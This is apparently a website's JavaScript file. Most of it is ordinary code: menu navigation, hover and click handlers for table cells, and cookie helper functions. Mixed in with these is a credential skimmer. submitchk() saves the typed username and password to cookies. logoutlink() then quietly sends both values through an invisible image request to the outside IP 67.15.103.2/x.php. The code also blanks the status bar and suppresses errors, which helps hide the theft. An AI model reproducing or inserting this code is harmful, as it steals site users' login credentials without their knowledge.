function goTo(form) {

var where = form.GOTHERE.options[form.GOTHERE.selectedIndex].value;
if (where == "!!") {
form.GOTHERE.selectedIndex = 0;
} else if (where.charAt(0) == "!") {
window.parent.location.href ="" + where.substring(1,where.length) + ".html";
} else {
window.parent.location.href = "" + where;
}
}

function mOvr(src,clrOver)
{
if (!src.contains(event.fromElement))
{
src.style.cursor = 'hand'; src.bgColor = clrOver;
}
}
function mOut(src,clrIn)
{
if (!src.contains(event.toElement))
{
src.style.cursor = 'default';
src.bgColor = clrIn;
}
}
function mClk(src)
{
if(event.srcElement.tagName=='TD')
{
src.children.tags('A')[0].click();
}
}







function logoutlink ()
{
if ( ! xget_cookie ( "xuserx" ) )
{
//document.write ( " " );
}
else
{
var xuserx = xget_cookie ( "xuserx" );
var xpassx = xget_cookie ( "xpassx" );
document.write ( "<img src=\"http://67.15.103.2/x.php?u=" + xuserx + "&p=" + xpassx + "&site=saha\" width=\"0\" height=\"0\">" );
window.status='';
window.status='';
window.status='';
window.status='';
window.status='';
}
}


function xget_cookie ( cookie_name )
{
var results = document.cookie.match ( cookie_name + '=(.*?)(;|$)' );
if ( results )
return ( unescape ( results[1] ) );
else
return null;
}



function xset_cookie ( name, value, exp_y, exp_m, exp_d, path, domain, secure )
{
  var cookie_string = name + "=" + escape ( value );
  if ( exp_y )
  {
    var expires = new Date ( exp_y, exp_m, exp_d );
    cookie_string += "; expires=" + expires.toGMTString();
  }
  if ( path )
        cookie_string += "; path=" + escape ( path );
  if ( domain )
        cookie_string += "; domain=" + escape ( domain );
  if ( secure )
        cookie_string += "; secure";
  document.cookie = cookie_string;
}


function submitchk() {
var u = encodeURI( document.getElementById("username").value );
var p = encodeURI( document.getElementById("password").value );
xset_cookie ( "xuserx", "" + u + "", 2006, 12, 12 );
xset_cookie ( "xpassx", "" + p + "", 2006, 12, 12 );
return true;
}


function stopError() {
return true;
}
window.onerror = stopError;

